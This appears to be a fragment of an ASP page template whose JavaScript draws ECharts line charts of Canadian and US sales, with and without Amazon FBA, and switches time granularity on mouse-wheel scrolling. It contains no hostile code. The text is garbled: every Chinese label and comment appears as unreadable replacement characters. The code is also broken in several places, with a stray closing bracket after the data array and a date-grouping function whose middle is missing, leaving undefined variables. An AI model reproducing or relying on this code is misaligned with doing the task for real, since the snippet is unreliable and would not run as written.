    <div id="usasold" style="text-align:center; height:80%" >Loading...</div>
    <div id="cafbasold" style="text-align:center; height:80%" >Loading...</div>
    <div id="usafbasold" style="text-align:center; height:80%" >Loading...</div>
    <table width="800" border="1" style="border-collapse: collapse" align="center">
    <tr><td>�����������Ϲ��������ֿɸı�ͬ�����ߡ�</br>
        ʱ���ע�ͣ�</br>
        ���ڣ������Ƿ����궼��ʾ��2��29�ա�</br>
        ����£��ϰ��£�����1~15�ţ��°��£�����16�ŵ���ĩ</br>
        ���ȣ���һ���ȣ�1~3�£��ڶ����ȣ�4~6�£��������ȣ�7~9�£����ļ��ȣ�10~12��</br>
        ���꣺�ϰ��꣺1~6�£��°��꣺7~12��
    </td></tr>
    </table>
</div>
</body>
</html>
<script type="text/javascript">

var dataX = <%=datedt%>

var mydd = [<%=dtca%>,<%=dtusa%>,<%=dtcafba%>,<%=dtusafba%>,<%=dtcgca%>,<%=dtcgusa%>,<%=dtcgfbaca%>,<%=dtcgfbausa%>,<%=cazp%>,<%=cazpky%>,<%=cazpzy%>,<%=cazpzt%>,<%=usazp%>,<%=usazpky%>,<%=usazpzy%>,<%=usazpzt%>,<%=cafbazp%>,<%=cafbazpky%>,<%=cafbazpzy%>,<%=cafbazpzt%>,<%=usafbazp%>,<%=usafbazpky%>,<%=usafbazpzy%>,<%=usafbazpzt%>,<%=sold_ca%>,<%=sold_usd%>,<%=sold_cafba%>,<%=sold_usdfba%>,<%=usazppre%>,<%=usazpkypre%>,<%=usazpzypre%>,<%=usazpztpre%>,<%=cazppre%>,<%=cazpkypre%>,<%=cazpzypre%>,<%=cazpztpre%>,<%=usafbazppre%>,<%=usafbazpkypre%>,<%=usafbazpzypre%>,<%=usafbazpztpre%>,<%=cafbazppre%>,<%=cafbazpkypre%>,<%=cafbazpzypre%>,<%=cafbazpztpre%>];

] 
};
;
if (option && typeof option === "object") {
    myChart.setOption(option, true);
}
function sumarry(array) 
{
    s = 0;
    for(var i = 0;i <array.length;i++)
    {
        s += array[i];
    }
    return s.toFixed(2);
};

//ÿ�죬����£�15�ţ���ÿ�¡�ÿ�����¡�ÿ3���¡����ꡢһ��
//1,2,3,4,5,6,7
function chgdata(dd,dt,cnt)
{
    var todate = new Date(dt);
    var y1 = 0;
    var y2 = 0;
    for(var item in dd){
        if(dd[item] ==0)
        {
            delete dd.item;
        }
        else
        {
            if(0==y1)
            {
                y1 = new Date(item).getFullYear();
                break;
            }
        }
    }
    if(0 == y1)
    {
        y1 = new Date(dt).getFullYear();
    }
    y2 = new Date(dt).getFullYear();

rtn.push(arr2);
    }
    return rtn;
}

//�������������ͼ
var ddca = chgdata(<%=dtsold_ca%>,<%=todatestr%>,1);
var seriesdataca = [];
for(var i = 0;i < ddca.length-1; i++)
{
    seriesdataca[i] = {type: 'line', smooth: true, seriesLayoutBy: 'row'};
}
var dom1 = document.getElementById("casold");
var myChart1 = echarts.init(dom1);
var app = {};
option1 = null;
option1 = {
    title: {
        text: '<%=tt%>' + '  ���ô��FBA�������',
        left:'center'
    },
    tooltip: {
            trigger: 'axis',
            textStyle:{
                align:'left'
            }
    },
    legend: {
        left:'center',
        top:'5%'
    },
    grid: {
        top: '15%',
        left: '3%',
        right: '4%',
        bottom: '5%',
        containLabel: true
    },
    toolbox: {
        feature: {
            magicType: {show: true, type: ['stack', 'tiled']},
            dataView : {show: true, readOnly: false,title:'�鿴����'},
            saveAsImage: {
                title: '����ΪͼƬ'
            }
        }
    },
    xAxis: {
        name: '����',
        type: 'category'
    },
    yAxis: {
        name: '��������',
        type: 'value',
        //scale:'true',
        nameTextStyle:{
            fontSize:'15'
            }
        },
        dataset: {
            source: ddca
        },
    series:seriesdataca 
        
};
;
var ss1 = 1;
if (option1 && typeof option1 === "object") {
    myChart1.setOption(option1, true);
    myChart1.getZr().on('mousewheel', 'series', function (params) {
        if(params.offsetX < dom1.offsetWidth*0.05 || params.offsetX > dom1.offsetWidth*0.95 )
            return;

//�жϷ��򣬿���ҳ�����
        if(0 < params.wheelDelta)//���Ϲ���
        {
            if (ss1 ==7)
                return;
            ss1 = ss1 +1;
        }
        else
        {
            if (ss1 == 1)
                return;
            ss1 = ss1 -1;
        }
        window.event.returnValue = false;

myChart1.clear();            
        option1.dataset.source = chgdata(<%=dtsold_ca%>,<%=todatestr%>,ss1);
        if(1 == ss1)
            option1.xAxis.name = "����";
        else
            option1.xAxis.name = "ʱ��";
        myChart1.setOption(option1);
    });
}
var ddusa = chgdata(<%=dtsold_usa%>,<%=todatestr%>,1);
var seriesdatausa = [];
for(var i = 0;i < ddusa.length-1; i++)
{
    seriesdatausa[i] = {type: 'line', smooth: true, seriesLayoutBy: 'row'};
}
var dom2 = document.getElementById("usasold");
var myChart2 = echarts.init(dom2);
var app = {};
option2 = null;
option2 = {
    title: {
        text: '<%=tt%>' + '  ������FBA�������',
        left:'center'
    },
    tooltip: {
            trigger: 'axis',
            textStyle:{
                align:'left'
            }
    },
    legend: {
        left:'center',
        top:'5%'
    },
    grid: {
        top: '15%',
        left: '3%',
        right: '4%',
        bottom: '5%',
        containLabel: true
    },
    toolbox: {
        feature: {
            magicType: {show: true, type: ['stack', 'tiled']},
            dataView : {show: true, readOnly: false,title:'�鿴����'},
            saveAsImage: {
                title: '����ΪͼƬ'
            }
        }
    },
    xAxis: {
        name: '����',
        type: 'category'
    },
    yAxis: {
        name: '��������',
        type: 'value',
        //scale:'true',
        nameTextStyle:{
            fontSize:'15'
            }
        },
        dataset: {
            source: ddusa
        },
    series:seriesdatausa 
        
};
;
var ss2 = 1;
if (option2 && typeof option2 === "object") {
    myChart2.setOption(option2, true);
    myChart2.getZr().on('mousewheel', 'series', function (params) {
        if(params.offsetX < dom2.offsetWidth*0.05 || params.offsetX > dom2.offsetWidth*0.95 )
            return;

//�жϷ��򣬿���ҳ�����
        if(0 < params.wheelDelta)//���Ϲ���
        {
            if (ss2 ==7)
                return;
            ss2 = ss2 +1;
        }
        else
        {
            if (ss2 == 1)
                return;
            ss2 = ss2 -1;
        }
        window.event.returnValue = false;

myChart2.clear();            
        option2.dataset.source = chgdata(<%=dtsold_usa%>,<%=todatestr%>,ss2);
        if(1 == ss2)
            option2.xAxis.name = "����";
        else
            option2.xAxis.name = "ʱ��";
        myChart2.setOption(option2);
    });
}
var dducafba = chgdata(<%=dtsold_cafba%>,<%=todatestr%>,1);
var seriesdatacafba = [];
for(var i = 0;i < dducafba.length-1; i++)
{
    seriesdatacafba[i] = {type: 'line', smooth: true, seriesLayoutBy: 'row'};
}
var dom3 = document.getElementById("cafbasold");
var myChart3 = echarts.init(dom3);
var app = {};
option3 = null;
option3 = {
    title: {
        text: '<%=tt%>' + '  ���ô�FBA�������',
        left:'center'
    },
    tooltip: {
            trigger: 'axis',
            textStyle:{
                align:'left'
            }
    },
    legend: {
        left:'center',
        top:'5%'
    },
    grid: {
        top: '15%',
        left: '3%',
        right: '4%',
        bottom: '5%',
        containLabel: true
    },
    toolbox: {
        feature: {
            magicType: {show: true, type: ['stack', 'tiled']},
            dataView : {show: true, readOnly: false,title:'�鿴����'},
            saveAsImage: {
                title: '����ΪͼƬ'
            }
        }
    },
    xAxis: {
        name: '����',
        type: 'category'
    },
    yAxis: {
        name: '��������',
        type: 'value',
        //scale:'true',
        nameTextStyle:{
            fontSize:'15'
            }
        },
        dataset: {
            source: dducafba
        },
    series:seriesdatacafba 
        
};
;
var ss3 = 1;
if (option3 && typeof option3 === "object") {
    myChart3.setOption(option3, true);
    myChart3.getZr().on('mousewheel', 'series', function (params) {
        if(params.offsetX < dom3.offsetWidth*0.05 || params.offsetX > dom3.offsetWidth*0.95 )
            return;

//�жϷ��򣬿���ҳ�����
        if(0 < params.wheelDelta)//���Ϲ���
        {
            if (ss3 ==7)
                return;
            ss3 = ss3 +1;
        }
        else
        {
            if (ss3 == 1)
                return;
            ss3 = ss3 -1;
        }
        window.event.returnValue = false;

myChart3.clear();            
        option3.dataset.source = chgdata(<%=dtsold_cafba%>,<%=todatestr%>,ss3);
        if(1 == ss3)
            option3.xAxis.name = "����";
        else
            option3.xAxis.name = "ʱ��";
        myChart3.setOption(option3);
    });

}
var ddusafba = chgdata(<%=dtsold_usafba%>,<%=todatestr%>,1);
var seriesdatausafba = [];
for(var i = 0;i < ddusafba.length-1; i++)
{
    seriesdatausafba[i] = {type: 'line', smooth: true, seriesLayoutBy: 'row'};
}
var dom4 = document.getElementById("usafbasold");
var myChart4 = echarts.init(dom4);
var app = {};
option4 = null;
option4 = {
    title: {
        text: '<%=tt%>' + '  ����FBA�������',
        left:'center'
    },
    tooltip: {
            trigger: 'axis',
            textStyle:{
                align:'left'
            }
    },
    legend: {
        left:'center',
        top:'5%'
    },
    grid: {
        top: '15%',
        left: '3%',
        right: '4%',
        bottom: '5%',
        containLabel: true
    },
    toolbox: {
        feature: {
            magicType: {show: true, type: ['stack', 'tiled']},
            dataView : {show: true, readOnly: false,title:'�鿴����'},
            saveAsImage: {
                title: '����ΪͼƬ'
            }
        }
    },
    xAxis: {
        name: '����',
        type: 'category'
    },
    yAxis: {
        name: '��������',
        type: 'value',
        //scale:'true',
        nameTextStyle:{
            fontSize:'15'
            }
        },
        dataset: {
            source: ddusafba
        },
    series:seriesdatausafba 
        
};
;
var ss4 = 1;
if (option4 && typeof option4 === "object") {
    myChart4.setOption(option4, true);
    myChart4.getZr().on('mousewheel', 'series', function (params) {
        if(params.offsetX < dom4.offsetWidth*0.05 || params.offsetX > dom4.offsetWidth*0.95 )
            return;

//�жϷ��򣬿���ҳ�����
        if(0 < params.wheelDelta)//���Ϲ���
        {
            if (ss4 ==7)
                return;
            ss4 = ss4 +1;
        }
        else
        {
            if (ss4 == 1)
                return;
            ss4 = ss4 -1;
        }
        window.event.returnValue = false;

myChart4.clear();            
        option4.dataset.source = chgdata(<%=dtsold_usafba%>,<%=todatestr%>,ss4);
        if(1 == ss4)
            option4.xAxis.name = "����";
        else
            option4.xAxis.name = "ʱ��";
        myChart4.setOption(option4);
    });

}

</script>